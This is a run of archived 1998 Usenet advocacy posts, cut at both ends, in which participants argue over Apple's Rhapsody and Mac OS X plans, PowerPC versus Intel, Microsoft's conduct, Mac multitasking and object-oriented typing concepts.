>2) I will not be able to run their "next generation operating system"
They tried to deliver Copland and failed.
>
>Therefore Apple lied.
Previous Apple management failed to deliver Copland, due to incompetence.
>It doesn't matter, to me, why they lied.
Then when Microsoft promises ship dates and misses them by years they are
also lying.
BTW, the
>current management team said that all currently shipping Macs (at the time)
>would be able to run Rhapsody.
Please show me a date for this statement.
As far as I know, this was an Amelio promise, not a Jobsian one.
While this might be technically true, it is
>still misleading.
Well, I think Apple should deliver Rhapsody to all Powermacs, at least
all PCI-based ones, but I don't think it is fair to lay the mistakes of
previous management teams on Jobs feet.
Matthew Cromer
From: collins@cs.wm.edu (Bob Collins)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Message-ID: <collins-2007981014210001@cx832447-a.nwptn1.va.home.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <6oup37$9qa$1@news.cs.tu-berlin.de> <1dcgma8.99j99u1ibcvkN@dialup112-3-26.swipnet.se>
Organization: Computer Science @ William & Mary
Date: Mon, 20 Jul 1998 14:14:19 GMT
NNTP-Posting-Date: Mon, 20 Jul 1998 07:14:19 PDT
Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
> lars.farm@ite.mh.se (Lars Farm) writes:
>
> >The way I see it, the basic idea is the Abstract Data Type (ADT) that
> >provides an abstraction of behaviour and encapsulates implementation and
> >representation so that code using the ADT can depend only on the
> >abstraction. OOP extends this idea to allow extendable ADTs. The ADT fits
> >nicely in the language construct 'class'. An ADT/class represents
> >something coherent and distinct from other things so 'class' as part of
> >type makes sense to me.
> Yes, OO can be viewed as a small extension of ADTs, and you will see
> some benfits. However, you'll still be missing most of OO, especially
> the point that OO itself is not even close to good enough, but anything
> less is, well, less... :-)
Lars has a valid point. For example, Ada had both ADTs
and derived types back in 1978. When the new Ada was
designed, complete OOP was added with just a few extensions.
The two necessary extensions were the TAG and the ability
to add to derived types (new type WITH extension) and
their operations (child packages). Dynamic dispatching
is accomplished using the TAG contained in record types
declared as tagged. The TAGs could also be queried.
Nonetheless, Ada does not really contain objects in the
classic Smalltalk model. Rather it contains ADTs that
allow inheritance with extensions and dynamic dispatching.
All the other so-called OOPL baggage, e.g. polymorphism,
can be viewed as orthogonal to the two "class" notions.
This makes for a cleaner design IMO; e.g., if I want an ADT
without the baggage a Java class brings, I can have one.
--
Bob Collins <mailto:collins@cs.wm.edu> <http://ratbert.cs.wm.edu>
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Date: 20 Jul 1998 03:13:07 GMT
Organization: University of Maryland, College Park
Message-ID: <6ouck3$fn5$1@hecate.umd.edu>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <6ooslo$scj@sjx-ixn4.ix.netcom.com> <gmgraves-1807981227580001@sf-usr1-32-160.dialup.slip.net> <35B197CE.127040FE@cloud9.net> <gmgraves-1907981335060001@sf-pm5-7-71.dialup.slip.net>
George Graves (gmgraves@slip.net) wrote:
: In article <35B197CE.127040FE@cloud9.net>, Andrew Weiss
: > George Graves wrote:
: > >
: > > They will fall behind anyway because by using the incompatible
: > > PPC chip, Apple is on the outside of the mainstream computer
: > > biz looking in. Heck, even SGI has seen the light and will be
: > > building X86 boxes. The difference is that SGI has never had a
: > > dynamite OS, so they are going to be running NT on their Intel
: > > Boxes. Apple does have a VIABLE alternative OS to Windoze, and
: > > if they can write OS-X to run on Intel and to run Windows apps
: > > natively and full-featured, they will be real WINNERS (and so
: > > will everybody else).
: >
: > EWWW again what a nasty lump of garbage! Are you an Intel Troll?
: Anybody who has read this NG over the last two-three years KNOWS
: that I am anything but an Intel troll. I hate Windows (in any form)
: and I love the Mac. To me the Mac is defined by MacOS. What should
: I (or anybody else, for that matter) care what the guts of the computer
: are comprised of as long as that computer gives me the Mac Computing
: Experience?
<snipt>
I'll vouch for George. He's a hard nosed MacAdvocate. He's definitely
no "Intel Troll".
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X GUI---3 clicks to any window?
Date: 20 Jul 1998 14:22:47 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6r6kln.9fc.sal@panix3.panix.com>
References: <edremy-ya02408000R1807982049360001@nnrp.usc.edu> <1998071912165000.IAA22879@ladder01.news.aol.com> <forrestDELETE-THIS!-1907981455030001@term4-17.vta.west.net> <6ou1t5$i00$1@lwnws01.ne.highway1.com>
On 20 Jul 1998 00:10:13 GMT, John Kheit <jkheit@mediaone.net> wrote:
>forrestDELETE-THIS!@west.net (Forrest Cameranesi) wrote:
>> And NeXT equally fails to scale down to 15" monitors like mine.
>Well, if your 15" can do 1024X768, it does just fine.
John, have you ever tried to run 1024*768 on a 15" monitor? Even on
OpenStep with it's crisp clean fonts, it is almost illegible.
>800X600 and lower, I
>agree, it blows gui chuncks of franks and corn and stuff, icky. :)
Seeing that YB still makes use of NSInterfaceStyle, a recreation of
the classic OpenStep UI would be an excelent 3rd party opportunity
for someone.
--
sal@panix.com
Salvatore Denaro
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 19 Jul 1998 01:57:28 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6orjq8$vgv$1@camel29.mindspring.com>
References: <gmgraves-1207981502300001@sf-usr1-36-164.dialup.slip.net> <6or25p$2hc$1@nnrp1.dejanews.com> <35B1100A.3842D7E8@nstar.net>
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In article <gmgraves-1807981227580001@sf-usr1-32-160.dialup.slip.net>
George Graves, gmgraves@slip.net writes:
>You have just expressed the VERY reason why Apple should be moving
>to Intel architecture, and writing OS-X to run on that architecture
>and run Windows apps as if they were Mac apps. If they have to 'borrow'
>their innovation from the PC world, they may as well be part of the
>PC world. I.E., if you can't buck 'em, join 'em. But such a strategy MUST
>include MacOS on PC, or Apple is just another cloner.
Moving Apple to Intel means that Apple loses the superior PowerPC
processor and becomes just another Intel Cloner.
Bad move, IMO. This is a bad time to be a PC cloner anyway, nobody seems
to be making much money at it.
>>
>> At the very least, this way Apple gets to keep up with the PC
>> market. If they try to go proprietary, there's a huge risk
>> of falling behind if the PC market takes an unexpected turn.
>
>They will fall behind anyway because by using the incompatible
>PPC chip, Apple is on the outside of the mainstream computer
>biz looking in.
The mainstream boxmakers are not doing well lately.
Apple's difference is its only advantage.
Heck, even SGI has seen the light and will be
>building X86 boxes.
And a stupid business plan that is, IMHO.
The difference is that SGI has never had a
>dynamite OS, so they are going to be running NT on their Intel
>Boxes.
Wow, there's a fresh idea, windows and intel boxes. Why the hell do we
need another wintel clone maker?
Apple does have a VIABLE alternative OS to Windoze, and
>if they can write OS-X to run on Intel and to run Windows apps
>natively and full-featured, they will be real WINNERS (and so
>will everybody else).
First of all, Windows apps run best on Windows. If MacOS X can run them,
then it will not get native apps, and be stuck with running windows apps
poorly.
Second, Apple is a hardware company, one that is very profitable at
making G3 boxes.
>>
>> > Apple's revenues are STILL in free-fall. Yet we expect them
>> > to innovate for the platform by themselves. Jobs realized that this was
>> > a daunting task. That's why he jettisoned almost everything except Apple's
>> > core business; so that the available resources could be focused on
>> > Macintosh. But with marketshare falling, and revenues falling, the money
>> > to maintain an R&D presence equal to or greater than that which exists in
>> > the MUCH larger Wintel world isn't going to be there.
>>
>> Apple's revenues are not in free-fall. They're flat.
>
>A 20% drop this quarter is flat? You speak strangely, friend.
The 20% drop was last year--quarter to quarter, revs are flat.
Jobs has stabilized revs, raised margins and profits, and next quarter we
all expect growth in revs.
Matthew Cromer
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 19 Jul 1998 02:05:22 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6ork92$qrm$1@camel29.mindspring.com>
References: <gmgraves-1207981502300001@sf-usr1-36-164.dialup.slip.net> <6or25p$2hc$1@nnrp1.dejanews.com> <35B1100A.3842D7E8@nstar.net>
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In article <gmgraves-1807981251350001@sf-usr1-32-160.dialup.slip.net>
George Graves, gmgraves@slip.net writes:
>
>But that's not the question. The question is 'What are Apple's long term
>prospects?" Not good from where I sit. How about you?
>
>George Graves
The long-term prospects look pretty good to me.
The G3 powerbooks are great, the G3 desktops are great, the iMacs are
great, and with G4 and Altivec we look to have quantum leaps in
performance around the bend.
Jobs has fixed the MacOS with MacOS X, making it better than NT in most
respects.
Matthew Cromer
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 19 Jul 1998 01:59:37 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6orju9$960$1@camel29.mindspring.com>
References: <gmgraves-1207981502300001@sf-usr1-36-164.dialup.slip.net> <6or25p$2hc$1@nnrp1.dejanews.com> <35B1100A.3842D7E8@nstar.net>
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In article <gmgraves-1807981227580001@sf-usr1-32-160.dialup.slip.net>
George Graves, gmgraves@slip.net writes:
>
>Like it or not, Apple is looking for one. In spite of what all CEOs have
>said ("read my lips, Apple is NOT for sale") Apple has been for sale
>since about 1989. In 1996 Sun came so close to buying that you had to
>had to blink to miss it. Amelio shit-canned the idea at the eleventh
>hour as his first act of assuming the presidency vacated by Spindler.
Sun offered less than the current stock price, as the deal was about to
close.
One does not sell a company for less than the market capitalization. The
offer was worthless.
Matthew Cromer
From: "Daniel Berlin" <dberlin@email.msn.com>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <stevehix-1607982030060001@ip30.safemail.com> <Pine.BOS.3.96.980717065604.278E-100000@fbnp> <gmgraves-1707981124460001@sf-pm5-10-74.dialup.slip.net> <Pine.BOS.3.96.980717231938.231B-100000@fbnp> <35B0A7E5.4BE@nospam.earthlink.net> <35B0B51D.5A2@REMOVE.wayne.edu> <OSzgPjms9GA.301@upnetnews05> <35B14A89.6E49@nospam.earthlink.net>
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Sun, 19 Jul 1998 11:29:58 -0400
Message-ID: <OThrtqys9GA.278@upnetnews03>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
>
>Psst, Mr. software developer, I hear you're porting an app to BeOS.
>That's really nice but wasn't that originally an NT app? Gee, it sure
>would be unfortunate if we forgot to send those NT6.0 developers
>releases in a timely manner - y'know sometimes things get lost in the
>mail...
>
>Oh I'm soooo sorry, M$ would _never_ do anything like that, would they?
Nope, they never have actually.
You are confusing them with Intel.
Two good friends of mine are Beta Coordinators over there.
I also personally know beta contacts at companies that have done things like
you layout (ported NT apps to other companies).
MS doesn't give a shit.
Even with semi-large companies.
As long as it still exists for NT, why should they care where else it
exists.
Especially considering how many developers exist for NT/Win98/et al.
They wouldn't have the TIME to do what you suggest.
(I have no idea what is up with the source releases, that is a way different
story.)
Also, some of their biggest customers mostly develop apps for other OSes.
Universities and several VVBC (very very big companies) in particular.
The only time things get lost in the mail is when the Airborne Express guy
throws it in the bushes or stomps on it.
>
>M$ doesn't need anyone's approval to buy privately held companies - they
>do it many times a year.
>
Hey look.
Another statement without proof of any kind.
Tell ya what.
I'll go get the statistics on how many companies they buy each year, private
and non, and when it says they don't, will you retract it?
Or would the statistics lie too, making it a conspiracy?
>
>
>M$ wrote the book on destroying the competition - I believe the primary
>author is Steve Balmer.
>
You didn't answer the question. You gave one possible way.
And it doesn't affect most companies developing for BeOS because THEY ONLY
DEVELOP FOR BEOS.
Killer apps tend to come from startup companies, not ports.
So, besides having beta releases lost in the mail, please, explain to me how
they will crush them.
>They are trying to undermine and eventually eliminate all flavors of
>UNIX as an enterprise OS. I believe squashing Solaris is small potatoes
>compared with that goal.
Yes, they are.,
Eliminate.
No need to undermine.
They seem to do a good enough job of that without MS.
>
>They will act strategically to protect NT from any and all threats.
>Remember, Billy boy has "bet the comapny on it".
>
Of course they will.
But, WHAT will they do?
>James McSheehy
>
--Dan
PS as i'm sure you know, most spambots will pick up the nospam and remove
it. Try something more creative. like
trimil@goddamn.spammers.should.be.blown.off.the.earthlink.net
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: 20 Jul 1998 14:45:00 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6ovl5c$qe0$1@news.cs.tu-berlin.de>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <
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lars.farm@ite.mh.se (Lars Farm) writes:
>Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
>> Communicating objects with identity and behavior. These are the only
>> externally visible 'properties'. (See RM-ODP). Objects also have
>> state, but this is invisible.
>>
>> Class enteres the picture at two places: (1) objects can be classified
>> by behavior, yielding the notion of 'type' and (2) classes + inheritance
>> have proven a useful mechanism for grouping implementations.
>I don't get it. How does this differ from my description? This does not
>explain why class is not important. You said: "The problem here is your
>emphasis on the class".
It differs in that there is no reference to ADTs. More importanty,
there is no visible class as an intrinisc object property. Externally
visible classification is only via observed behavior, i.e. the ability
to respond to certain messages (grouped into named protocols/interfaces).
It is not a huge difference. But an important one, IMNSHO.
>PS what is RM-ODP?
Reference Model for Open Distributed Processing, ISO-10746.
http://www.dstc.edu.au/AU/research_news/odp/ref_model/ref_model.html
It doesn't happen often, but this is a standard actually worth
reading.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sun, 19 Jul 1998 13:06:59 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1907981307000001@sf-pm5-7-71.dialup.slip.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com> <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org> <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org> <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <bryan-ya02408000R1807980834550001@news.kcnet.com> <gmgraves-1807981209240001@sf-usr1-32-160.dialup.slip.net> <35B19A75.D6CCEC01@cloud9.net>
In article <35B19A75.D6CCEC01@cloud9.net>, Andrew Weiss
<ajwdsp@cloud9.net> wrote:
> George Graves wrote:
> >
> > In article <bryan-ya02408000R1807980834550001@news.kcnet.com>,
> > bryan@kcnet.com (Bryan Schmiedeler) wrote:
> >
> > > I
> > > >As I see it, Apple's (and the Mac's) best chance lies along the
> > > >following lines:
> > > >
> > > >1) Write a version of OSX which will not only run on Intel, but
> > > >will run native Windows apps as if they were Mac apps.
> > >
> > > You made an excellent point above that I agreed with: Apple
> > > will have trouble keeping up with R&D in the Windows world, as they
> > > have a smaller base (hence the move toward PC hardware
> > > standardization). But then you suggest this! How much R&D
> > > (in time and money) do you think *that* would take?
> >
> > They did it once, with a VERY small group. The Project was called
> > "Star Trek" and about a dozen programmers had it running in about
> > three months. I'd say, that it could be done with about the same
> > amount of effort as is now going into OS-X for PPC.
> >
> > George Graves
>
> Yes and this was totally different. This was taking a non
> cross-platform OS with byteorder dependencies and porting it to an
> entirely different breed of CPU. Right now the current guts of the code
> for OS X is actually the cross-platform OpenSTEP Mach, which for a
> number of years since the 68K NeXT's demise has been on Intel for
> probably 90 + % of its marketshare. Indeed Rhapsody/Mac OS X Server
> will be available for Intel. No need to port, can we say the speed of a
> Linux kernel compile? I think it's amazing that they did OS 6/7 to PC
> in 3 months.
Very true. But work would still be needed in order for OSX to run
Windows apps NATIVELY. I know it could be done, but I don't know
how much work it would take.
>
> But of course you think they should back out of PPC... sort of like
> saying Hey Exxon... back out of gas... your gas stinks... costs more and
> is not compatible. Why don't you just service cars?
Not exactly. Gas is something every car can use, irrespective of who
refines and sells it. PPC chips are good CPUs, no doubt about it, but
they aren't compatible with the rest of the computing world. Apple
is where it is partly because their computers won't run Windows apps,
and support for Mac apps is (albeit slowly) dwindling. My exercise is
one way for Apple to simultaneously rejoin the computer mainstream,
keep Mac OS, and still differentiate their hardware from the rank and
file without alienating anyone due to noncompatibility issues. Maybe
not my scenario, but some similar scenario is Apple's only long-term
hope (as I see it), and my scenario covers all the bases. Apple gets to
still build high quality hardware, tightly integrated to its OS, the rest
of the world gets to use and enjoy Mac OS on their current Wintel boxes,
software developers get to write one version of the software, and Mac
lovers get to have their cake and eat it too with a wide smorgasboard
of software formerly available only to Windows users - and WITHOUT
having to use Windows. I can't see how such a plan could fail. But if it
could, ne assured that Apple would find a way.
> HEHEHEHE
> You're funny poosy cat.
Perhaps.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sun, 19 Jul 1998 13:14:05 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1907981314050001@sf-pm5-7-71.dialup.slip.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com> <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org> <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org> <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <35B19452.B364E82E@cloud9.net>
In article <35B19452.B364E82E@cloud9.net>, Andrew Weiss
<ajwdsp@cloud9.net> wrote:
> George Graves wrote:
> >
> > As I see it, Apple's (and the Mac's) best chance lies along the
> > following lines:
> >
> > 1) Write a version of OSX which will not only run on Intel, but
> > will run native Windows apps as if they were Mac apps.
>
> Cool. Sounds great... that's what we have Rhaptel for.
>
> > 2) Back out of the PowerPC. Continue to support those already
> > out there, but make no more new ones. Build high quality
> > leading-edge Intel machines which innovate the platform and
>
> EEEEEEEEEEEEEWWWWWWWWWWWWWWWWW
>
> Not another clone maker... not more Intel crap... The thing that makes
> Apple great and unique is the presence of the only other widely known
> processor architecture on the market. IF APPLE CANS the PowerPC it will
> be a nice shooting gallery against MS since Alpha sales and Sparc, MIPS,
> and everything else don't amount to much in the consumer arena. Besides
> PPC's are damn cool... I've been an Intel user since I was 10... I hate
> them practically... My Pro 150 is at least one of the better products
> they made.
>
>
>
> > which are tightly integrated with the Intel MacOS, In other
> > words, out-Windows Windows. We all know how much better
> > the Mac GUI is better than Windows, and we know the
> > superiority of Unix over NT. OSX will have both. People would be
>
> Not really... unless it's a third party add-on.
>
> > able to choose their OS based upon their preferences, not upon
> > which platform has the software they need.
> > By more tightly integrating the Apple-built Intel boxes to the
> > Mac OS, There will be a compelling reason for people to buy
> > Apple rather than Compaq, Dell etc. BUT, if money is a problem,
> > the Mac OS will run on those machines as well, just without
> > the level of integration that the Apple boxes provide.
>
> I don't know about this... the presence of so many PC peripherals and
> configurations from thousands of no-name companies is an nightmare..
> With a PC you HAVE to pick and choose your peripherals based on your
> target OS's and workload... not so with a PPC.
Ah, but would this still be true with USB and Firewire?
>
> > Apple can remain a high-value computer builder and yet
> > anybody would be able to run MacOS on their present
> > Intel machines. I think that Apple would clean-up and
> > the Mac's future would be secure.
>
> No you just said they canned the Mac. The Mac currently either = 68K or
> PPC... not Intel.... and Intel would certainly have a cow if Apple
> started calling PC's Macs.
Why? SGI is making Intel clones and they don't even have a great OS
to go along with it so their clones will run NT (now there's an
EEEEEEEEEEEEEEEWWWWWWWWWWWWWWWW).
> >
> > >
> > > > reinstate clones.
> > >
> > > Maybe later.
>
> Shya! Instating clones was dumb in the first place. Many years ago
> when IBM did this, it lost a big hold in the business. Apple should
> have just lowered the prices like it eventually ended up doing, rather
> than saying... make clones... people invest and build factories, and
> then ok... no more clones... how do you like them apples?
I don't. Clones diversiffy, and consolidate the platform. They give people
choice, they spread the risk, and ultimately, they grow the market.
George Graves
From: "Templar" <mmx@isholf.is>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sun, 19 Jul 1998 20:53:35 +0200
Organization: Telenor Online Public Access
Message-ID: <6otfgk$1b3$1@o.online.no>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <Pine.SOL.3.96.980709101146.16873A-100000@ux7.cso.uiuc.edu> <6o721r$1log$1@piglet.cc.uic.edu> <Pine.SOL.3.96.980713160624.6998A-100000@ux10.cso.uiuc.edu> <6oe0e0$u3k$1@piglet.cc.uic.edu> <pulsar-ya02408000R1307981954300001@news-proxy.cso.uiuc.edu> <MPG.1014a8e367d27764989993@news.supernews.com> <pulsar-ya02408000R1407980055330001@news-proxy.cso.uiuc.edu> <MPG.10151f8fca0af55e989996@news.supernews.com> <Pine.SOL.3.96.980714102433.26684A-100000@ux5.cso.uiuc.edu> <Jonas.Palm-1907980132030001@jp.orgk1.dial.lu.se>
Hey, but the big Q is, when will Apple drop MacX??
This whole OS thing is getting hillarious..
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Date: Sun, 19 Jul 1998 12:00:06 -0800
Organization: UC Irvine
Message-ID: <rmcassid-1907981200070001@dialin9022.slip.uci.edu>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu> <6ojtmb$otj$2@lwnws01.ne.highway1.com> <joe.ragosta-1607980759480001@wil45.dol.net> <6oktri$frj$1@lwnws01.ne.highway1.com> <rmcassid-1607980938420001@dante.eng.uci.edu> <35B18166.2D5AF188@cloud9.net>
In article <35B18166.2D5AF188@cloud9.net>, Andrew Weiss
<ajwdsp@cloud9.net> wrote:
> Compaq's Break all the time... it's not her fault... that they suck.
> And they are the most difficult to fix from my experience...
I know. I tell her that. But if she can't buy a Compaq at a premium and
get something that just works, what are her odds going with anyone else -
Dell etc.?
Her perception of the Wintel market is probably irreparably damaged. Her
perception of the Mac market is improving - after all, profits are easier
to fix than PC specs, apparently...
She won't buy a new PC unless she absolutely has to. I'll push for an iMac
at the right time. She's a good example of an average non-technical person
getting burned by PCs in spite of apparently paying to get a good one...
> Talk about a lack of aesthetic taste too... take a look at some of their
> past cases.
Well, it was a disappointment all around...
-Bob Cassidy
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Sun, 19 Jul 1998 13:09:25 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-1907981309250001@pm3a13.rmac.net>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com>
NNTP-Posting-Date: 19 Jul 1998 19:07:19 GMT
In article <6ot75m$16j$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> > It's not perfect, but it is better than most people give it credit for.
> > Since I don't have a scanner, I can't test this particular scenario.
> > However, I do know that I can ftp stuff while doing other work without
> > problem. As such, I would not be surprised to find out that I could do
> > this scenario as well.
>
> It's far from perfect. It might be fair to say that the NeXT's PMT system
> isn't perfect. It's fair to say, that it's not perfect on Solaris. The
> mac's multitasking abilities are beyond shit incarnate pathetic. It's beyond
> a joke. It's a completely unacceptable solution in light of better
> technologies having been offered since the 60's. Making excuses and
> appologies for it only exacerbates the situation. I think it's more
> productive to make a list of pro's and cons, rather than pro's and excuses.
> YMMV.
If your criteria for an OS is multitasking, then I guess the Mac ain't for
you. If your criteria for an OS is ease of use, and high productivity,
then I guess the Mac is for you.
The Macs multitasking is not perfect, but it works...and works amazingly
well. Who cares how old it is if it works for the majority of tasks? I
definitly wouldn't want it for a server OS...but then, I don't think the
Mac is marketed as a server platform.
As I said, you're talking theory and making it into reality. Who cares
how good the reality works as long as the theory says it shouldn't?
Right? So let's all rush right out and buy a PMT OS.
Geez...you MT advocacates crack me up...rather take theory over reality.
Josh
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sun, 19 Jul 1998 13:42:55 -0700
Organization: Graves Associates
Distribution: world
Message-ID: <gmgraves-1907981342550001@sf-pm5-7-71.dialup.slip.net>
References: <gmgraves-1207981502300001@sf-usr1-36-164.dialup.slip.net> <6or25p$2hc$1@nnrp1.dejanews.com> <35B1100A.3842D7E8@nstar.net> <6orju9$960$1@camel29.mindspring.com>
In article <6orju9$960$1@camel29.mindspring.com>, Matthew Cromer
<matthew_cromer@iname.com> wrote:
> In article <gmgraves-1807981227580001@sf-usr1-32-160.dialup.slip.net>
> George Graves, gmgraves@slip.net writes:
> >
> >Like it or not, Apple is looking for one. In spite of what all CEOs have
> >said ("read my lips, Apple is NOT for sale") Apple has been for sale
> >since about 1989. In 1996 Sun came so close to buying that you had to
> >had to blink to miss it. Amelio shit-canned the idea at the eleventh
> >hour as his first act of assuming the presidency vacated by Spindler.
>
> Sun offered less than the current stock price, as the deal was about to
> close.
>
> One does not sell a company for less than the market capitalization. The
> offer was worthless.
True, but Apple was ready to accept it anyway. Amelio did not put the
kaibash on it for that reason though. He squashed it because he had just
taken the reins of Apple and he knew that if the deal went through, he
would be out.
George Graves
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy
References: <uEjs1.692$E5.5085028@proxye1.san.rr.com> <6otg65$25pc$1@piglet.cc.uic.edu>
Subject: Re: Apple houses licensing company for Taligent patents?
Message-ID: <1tts1.930$E5.5430392@proxye1.san.rr.com>
Date: Sun, 19 Jul 1998 21:23:09 GMT
NNTP-Posting-Date: Sun, 19 Jul 1998 14:23:09 PDT
Organization: TWC Road Runner, San Diego, CA
Anil T Maliyekke wrote in message <6otg65$25pc$1@piglet.cc.uic.edu>...
[Object Technologies Licensing Corp. has Taligent patents]
>
>Perhaps they were concerned about Microsoft gaining access to these
>patents throught the cross licensing agreement with IBM, so they
>transferred ownership to this company before IBM subsumed Taligent
>and its programmers. I think Apple (and HP?) probably would have access
>to the patents regardless of this companies existance.
It would protect those patents from the Apple/Microsoft patent
cross-licensing agreement from last year (that came with the $150M
investment from MS).
I'm not aware of any current IBM / MS cross-licensing agreements after the
dissolution of the OS/2 partnership in 92 or 93.
I just wonder who has a say in who can license the technologies and who can
not.
I don't ever recall reading if HP retained any licensing rights but I'd read
Apple had--I just didn't expect this.
--Ed.
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 20 Jul 1998 11:34:59 -0500
